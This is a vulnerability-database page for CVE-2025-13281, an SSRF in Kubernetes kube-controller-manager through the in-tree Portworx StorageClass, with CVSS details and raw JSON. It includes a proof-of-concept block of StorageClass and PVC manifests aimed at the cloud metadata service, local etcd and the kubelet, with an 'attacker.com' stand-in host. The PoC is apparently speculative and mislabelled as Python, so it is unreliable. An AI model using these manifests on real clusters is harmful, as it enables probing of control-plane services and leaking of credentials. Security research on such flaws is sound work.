Security Vulnerability Report
中文
CVE-2025-13281 CVSS 5.8 MEDIUM

CVE-2025-13281

Published: 2025-12-14 22:15:36
Last Modified: 2026-04-15 00:35:42

Description

A half-blind Server Side Request Forgery (SSRF) vulnerability exists in kube-controller-manager when using the in-tree Portworx StorageClass. This vulnerability allows authorized users to leak arbitrary information from unprotected endpoints in the control plane’s host network (including link-local or loopback services).

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Kubernetes kube-controller-manager (使用in-tree Portworx StorageClass的所有版本)
具体受影响的版本需参考官方安全公告和issue #135525

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13281 PoC - kube-controller-manager Portworx SSRF # This PoC demonstrates how an authenticated user can exploit the SSRF vulnerability # to probe internal services on the control plane host network apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: malicious-portworx provisioner: kubernetes.io/portworx-volume parameters: # Attacker-controlled endpoint to trigger SSRF # This can be changed to target internal services endpoint: "http://169.254.169.254/latest/meta-data/" # Specify internal IP to probe iscsi_target_ip: "127.0.0.1:2379" # Portworx specific parameters that may be abused px_poolid: "http://attacker.com/probe" --- # Create PVC using the malicious StorageClass apiVersion: v1 kind: PersistentVolumeClaim metadata: name: ssrf-poc-pvc namespace: default spec: accessModes: - ReadWriteOnce storageClassName: malicious-portworx resources: requests: storage: 1Gi --- # Alternative: Direct probe of etcd via iscsi_target_ip parameter # The kube-controller-manager will attempt to connect to the specified endpoint # when processing the volume provisioning request apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: etcd-probe provisioner: kubernetes.io/portworx-volume parameters: # Target etcd on localhost (typically port 2379) iscsi_target_ip: "127.0.0.1:2379" # Or target kubelet API # iscsi_target_ip: "127.0.0.1:10250" # Or target cloud metadata service endpoint: "http://169.254.169.254/latest/meta-data/instance-id" # Note: This is a simplified PoC for demonstration purposes. # Actual exploitation may require additional steps and specific cluster configurations.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13281", "sourceIdentifier": "[email protected]", "published": "2025-12-14T22:15:36.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A half-blind Server Side Request Forgery (SSRF) vulnerability exists in kube-controller-manager when using the in-tree Portworx StorageClass. This vulnerability allows authorized users to leak arbitrary information from unprotected endpoints in the control plane’s host network (including link-local or loopback services)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/kubernetes/kubernetes/issues/135525", "source": "[email protected]"}, {"url": "https://groups.google.com/g/kubernetes-security-announce/c/EORqZg0k1l4/m/TtD-q0v7AgAJ", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/01/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}